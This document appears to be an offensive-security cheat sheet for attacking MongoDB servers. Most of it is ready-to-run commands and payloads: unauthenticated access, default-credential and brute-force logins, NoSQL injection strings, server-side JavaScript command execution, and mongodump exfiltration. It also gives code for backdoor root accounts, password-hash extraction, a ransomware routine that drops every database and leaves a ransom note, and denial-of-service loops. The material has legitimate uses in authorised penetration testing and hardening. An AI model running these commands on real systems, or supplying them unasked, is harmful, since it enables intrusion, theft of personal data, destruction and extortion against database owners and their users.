MongoDB

Default Ports: 27017, 27018

MongoDB is a popular open-source NoSQL database that uses a document-oriented data model. Unlike traditional relational databases, MongoDB stores data in flexible, JSON-like documents called BSON (Binary JSON). This makes it highly scalable and perfect for handling large volumes of unstructured or semi-structured data. MongoDB is widely used in modern web applications, big data, real-time analytics, and content management systems.

Connect​

Connect Using mongo Shell​

mongo <target-ip>:<port>  

Connect Using mongosh (Modern Shell)​

mongosh "mongodb://<target-ip>:<port>"  

Recon​

Identifying a MongoDB Server​

You can use Nmap to check if there's a MongoDB server on a target host like this:

nmap -p 27017,27018 target.com  

Banner Grabbing​

You can use Netcat to find out if a MongoDB service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -vn target.com 27017  

Enumeration​

Automated Enumeration with Nmap​

Use mongodb-info script to gather detailed server information:

nmap -p 27017 --script mongodb-info target.com  

Use mongodb-databases script to list databases without authentication:

nmap -p 27017 --script mongodb-databases target.com  

Enumeration with Metasploit​

use auxiliary/scanner/mongodb/mongodb_info  
set RHOSTS target.com  
run  



use auxiliary/scanner/mongodb/mongodb_enum  
set RHOSTS target.com  
run  

Manual Enumeration via MongoDB Shell​

db.version()  
db.serverStatus()  
db.serverBuildInfo()  
db.hostInfo()  
db.adminCommand({getCmdLineOpts: 1})  



// List all databases  
show dbs  
db.adminCommand('listDatabases')  
  
// Switch to database  
use database_name  
  
// List collections  
show collections  
db.getCollectionNames()  
  
// Collection statistics  
db.collection_name.stats()  
db.collection_name.count()  



// List users (requires admin)  
use admin  
db.system.users.find()  
db.getUsers()  
  
// Current user  
db.runCommand({connectionStatus: 1})  
  
// User roles  
db.getRoles({showBuiltinRoles: true})  
  
// All users across databases  
db.adminCommand({usersInfo: {forAllDBs: true}})  



// Get all configuration  
db.adminCommand({getParameter: '*'})  
  
// Authentication mechanisms  
db.adminCommand({getParameter: 1, authenticationMechanisms: 1})  
  
// Network settings  
db.adminCommand({getParameter: 1, bindIp: 1})  
db.adminCommand({getParameter: 1, port: 1})  
  
// Check if authentication is enabled  
db.adminCommand({getCmdLineOpts: 1}).parsed.security  

Attack Vectors​

No Authentication​

MongoDB instances can be configured without authentication, allowing anyone to connect and access all databases and collections. This is a critical security misconfiguration that exposes sensitive data to unauthorized users. The attacker can read, modify, or delete data without providing any credentials.

# Test if authentication required  
mongo target.com:27017  
  
# If connection succeeds without credentials  
# MongoDB is misconfigured (no auth)  



mongo target.com:27017 --eval "db.adminCommand('listDatabases')"  



mongo target.com:27017/database_name --eval "db.collection.find()"  

Default Credentials​

Many MongoDB installations use weak default credentials that are easily guessable or well-known. These credentials are often left unchanged by administrators, making them prime targets for attackers. Default credentials provide immediate access to the database without requiring complex brute force attacks.

# Common default credentials  
admin:admin  
admin:password  
root:root  
mongodb:mongodb  
user:user  
  
# Try connection  
mongo -u admin -p admin target.com/admin  
mongo -u root -p password target.com  

Brute Force Attack​

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like MongoDB, MySQL, PostgreSQL, etc. For MongoDB, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Brute Forcing with Hydra​

To use Hydra for brute-forcing MongoDB login credentials, you would use a command structured for this purpose:

hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com mongodb  

Brute Forcing with Nmap​

It is also possible to perform brute force on MongoDB with Nmap scripts:

nmap -p 27017 --script mongodb-brute target.com  

Brute Forcing with Metasploit​

It is also possible to apply brute force with Metasploit modules on MongoDB:

use auxiliary/scanner/mongodb/mongodb_login  
set RHOSTS target.com  
set USERNAME admin  
set PASS_FILE passwords.txt  
run  

Brute Forcing with Custom Script​

for pass in $(cat passwords.txt); do  
    mongo "mongodb://admin:$pass@target.com:27017/admin" --eval "db.version()" && echo "[+] Found: admin:$pass"  
done  

NoSQL Injection​

NoSQL injection attacks exploit vulnerabilities in MongoDB query construction, allowing attackers to bypass authentication or extract sensitive data. These attacks leverage MongoDB's flexible query operators and JavaScript execution capabilities to manipulate query logic. NoSQL injection can be more dangerous than traditional SQL injection due to the dynamic nature of NoSQL queries.

// In login forms with MongoDB queries  
username[$ne]=null&password[$ne]=null  
{"username": {"$ne": null}, "password": {"$ne": null}}  



{"username": {"$in": ["admin", "user"]}, "password": {"$ne": null}}  



{"username": {"$regex": "^admin"}, "password": {"$ne": null}}  



{"username": "admin", "password": {"$where": "this.password.match(/.*/);"}}  



' || '1'=='1  
' || 1==1//  
' || 1==1%00  
admin' || '1'=='1  
{"$gt": ""}  
{"$ne": ""}  
{"$nin": []}  
username[$nin][]=invalid&password[$ne]=null  

Arbitrary JavaScript Execution​

MongoDB allows execution of JavaScript code through various operators, which can be exploited to perform arbitrary code execution on the server. This vulnerability occurs when user input is directly passed to JavaScript execution contexts without proper sanitization. Attackers can leverage this to execute system commands, access the file system, or perform other malicious operations.

db.collection.find({$where: "sleep(5000) || true"})  



db.collection.find({$where: function() {  
    var cmd = "whoami";  
    var output = run("bash", "-c", cmd);  
    return true;  
}})  



db.collection.mapReduce(  
    function() { emit(this._id, this); },  
    function(key, values) {   
        // Malicious code  
        return "pwned";  
    },  
    {out: {inline: 1}}  
)  

Post-Exploitation​

Search for Sensitive Data​

After gaining access to MongoDB, search for sensitive information including user credentials, API keys, tokens, and personal data stored in collections.

Find Collections with Sensitive Names​

Look for collections that might contain sensitive information based on their names:

db.getCollectionNames().filter(c =>   
    c.match(/user|password|credential|token|key|secret|admin/i)  
)  

Search Documents for Credentials​

db.users.find({}, {password: 1, email: 1, token: 1})  
db.config.find({}, {api_key: 1, secret: 1, password: 1})  

Sample Documents from All Collections​

Examine sample documents from all available collections to understand the data structure:

db.getCollectionNames().forEach(function(c) {  
    print("Collection: " + c);  
    printjson(db[c].findOne());  
})  

Data Exfiltration​

Extract sensitive information from the compromised MongoDB instance using tools like mongodump and mongoexport.

Export Entire Database​

Use mongodump to create a complete backup of the MongoDB instance:

mongodump --host target.com --port 27017 --out /tmp/dump  

Export with Authentication​

mongodump --host target.com --port 27017 \  
    --username admin --password password \  
    --authenticationDatabase admin \  
    --out /tmp/dump  

Export Specific Database​

mongodump --host target.com --db database_name --out /tmp/dump  

Export Specific Collection​

mongodump --host target.com --db database_name --collection users --out /tmp/dump  

Export to CSV​

mongoexport --host target.com --db database_name --collection users \  
    --type=csv --fields name,email,password --out users.csv  

Query and Save Data​

mongo target.com/database_name --eval "db.users.find()" > users_data.json  

Privilege Escalation​

Gain administrative privileges by creating new admin users or modifying existing user roles.

Create Admin User​

use admin  
db.createUser({  
    user: "backdoor",  
    pwd: "P@ssw0rd123!",  
    roles: [{role: "root", db: "admin"}]  
})  

Grant Roles to Existing User​

db.grantRolesToUser("existing_user", [{role: "root", db: "admin"}])  

Modify User Password​

db.changeUserPassword("username", "newpassword")  

Update User Roles Directly​

// Requires admin  
db.system.users.update(  
    {user: "username"},  
    {$set: {roles: [{role: "root", db: "admin"}]}}  
)  

Persistence​

Maintain long-term access through backdoor admin accounts and hidden collections.

Create Backdoor Admin User​

use admin  
db.createUser({  
    user: "system_service",  
    pwd: "ComplexBackdoor123!",  
    roles: [  
        {role: "root", db: "admin"},  
        {role: "userAdminAnyDatabase", db: "admin"}  
    ]  
})  

Create Hidden Collection for C2​

use admin  
db.createCollection(".system_config")  
db[".system_config"].insert({cmd: "whoami", output: ""})  

Store Backdoor JavaScript Function​

db.system.js.save({  
    _id: "backdoor_function",  
    value: function() {  
        // Backdoor code  
        return "OK";  
    }  
})  

Command Execution​

Execute system commands directly from the MongoDB shell using eval and $where operators (deprecated in newer versions).

Check if JavaScript Execution Enabled​

db.adminCommand({getParameter: 1, javascriptEnabled: 1})  

Execute System Commands​

// Requires special configuration  
db.runCommand({  
    eval: "function() { return run('whoami'); }",  
    nolock: true  
})  

Using $where for Command Execution​

// Deprecated but might work  
db.collection.find({$where: "return shellHelper.run('whoami')"})  

Password Hash Extraction​

Extract password hashes from the user collection for offline cracking with tools like hashcat or john.

Extract User Hashes​

// Requires admin access  
use admin  
db.system.users.find()  

Format Hashes for Cracking​

db.system.users.find().forEach(function(u) {  
    print(u.user + ":" + u.credentials["SCRAM-SHA-1"].storedKey);  
})  

Export to File​

mongoexport --host target.com --db admin --collection system.users \  
    --username admin --password password \  
    --out user_hashes.json  

Database Ransomware​

Database ransomware attacks involve encrypting or deleting database contents and demanding payment for restoration. This malicious activity can cause significant business disruption and data loss.

The attack typically involves backing up the original data, dropping or encrypting databases, and leaving ransom notes with payment instructions. These attacks exploit administrative access to cause maximum damage and financial impact.

Backup Original Data​

mongodump --host target.com --out /tmp/stolen_backup  

Drop All Databases​

db.adminCommand('listDatabases').databases.forEach(function(d) {  
    if (d.name != 'admin' && d.name != 'local') {  
        db.getSiblingDB(d.name).dropDatabase();  
    }  
})  

Create Ransom Note​

use admin  
db.RANSOM_NOTE.insert({  
    message: "Your databases have been encrypted. Send 1 BTC to...",  
    bitcoin_address: "1ABC...",  
    contact: "mailto:attacker@evil.com"  
})  

Denial of Service​

Denial of Service (DoS) attacks against MongoDB aim to exhaust server resources and make the database unavailable to legitimate users. These attacks can be performed through resource-intensive queries, massive data insertion, or destructive operations.

Common DoS techniques include slow query attacks using $where operators, creating excessive indexes, inserting large documents, or dropping entire databases. These attacks can cause significant downtime and business disruption.

Slow Query Attack​

db.collection.find({$where: "sleep(10000) || true"})  

Create Massive Indexes​

for (var i = 0; i < 1000; i++) {  
    db.collection.createIndex({field: i});  
}  

Insert Large Documents​

for (var i = 0; i < 1000000; i++) {  
    db.collection.insert({data: "A".repeat(10000)});  
}  

Drop All Databases​

db.adminCommand('listDatabases').databases.forEach(function(d) {  
    db.getSiblingDB(d.name).dropDatabase();  
})  

Lateral Movement​

Lateral movement involves using compromised MongoDB access to discover and access other systems within the network. This technique helps attackers expand their foothold and access additional resources.

The process typically involves extracting connection strings, searching for credentials stored in collections, and analyzing database queries to identify other connected systems. This information can be used to pivot to other databases, applications, or network services.

Extract Connection Strings​

db.config.find()  
db.settings.find()  

Search for Credentials in Collections​

db.users.find({}, {password: 1, email: 1})  
db.config.find({}, {api_key: 1, secret: 1})  

Check Database Queries for Connections​

db.system.profile.find({op: "query"}).forEach(function(doc) {  
    printjson(doc);  
})  

Common MongoDB Commands​

Command| Description| Usage
---|---|---
show dbs| List databases| show dbs
use db| Switch database| use mydb
show collections| List collections| show collections
db.collection.find()| Query documents| db.users.find()
db.collection.insert()| Insert document| db.users.insert({name:"test"})
db.collection.update()| Update document| db.users.update({name:"test"}, {$set:{age:25}})
db.collection.remove()| Delete document| db.users.remove({name:"test"})
db.collection.drop()| Drop collection| db.users.drop()
db.dropDatabase()| Drop database| db.dropDatabase()
db.createUser()| Create user| db.createUser({user:"admin",pwd:"pass"})
db.getUsers()| List users| db.getUsers()

NoSQL Injection Payloads​

// Authentication bypass  
{"$ne": null}  
{"$ne": ""}  
{"$gt": ""}  
{"$regex": ".*"}  
{"$exists": true}  
  
// OR operator  
{"$or": [{"username": "admin"}, {"username": "user"}]}  
  
// IN operator  
{"$in": ["admin", "user", "root"]}  
  
// NIN operator (not in)  
{"$nin": ["invalid"]}  
  
// WHERE operator  
{"$where": "1==1"}  
{"$where": "sleep(5000)"}  
  
// Regex  
{"$regex": "^admin"}  
{"$regex": ".*"}  
  
// Array manipulation  
{"$elemMatch": {"$ne": null}}  

Useful Tools​

Tool| Description| Primary Use Case
---|---|---
mongo| MongoDB shell| Database interaction
mongosh| Modern MongoDB shell| Enhanced shell
mongodump| Database backup| Data exfiltration
mongoexport| Export data| Data extraction
MongoDB Compass| GUI client| Visual management
NoSQLMap| NoSQL injection tool| Automated exploitation
Metasploit| Exploitation framework| Automated testing
Burp Suite| Web proxy| NoSQL injection testing

Security Misconfigurations​

• ❌ No authentication enabled
• ❌ Default credentials
• ❌ Exposed to internet without firewall
• ❌ Bind to 0.0.0.0 instead of localhost
• ❌ JavaScript execution enabled
• ❌ No SSL/TLS encryption
• ❌ Weak passwords
• ❌ Excessive user privileges
• ❌ No role-based access control
• ❌ Logging disabled
• ❌ Outdated MongoDB version
• ❌ No regular backups
• ❌ Default port (27017) exposed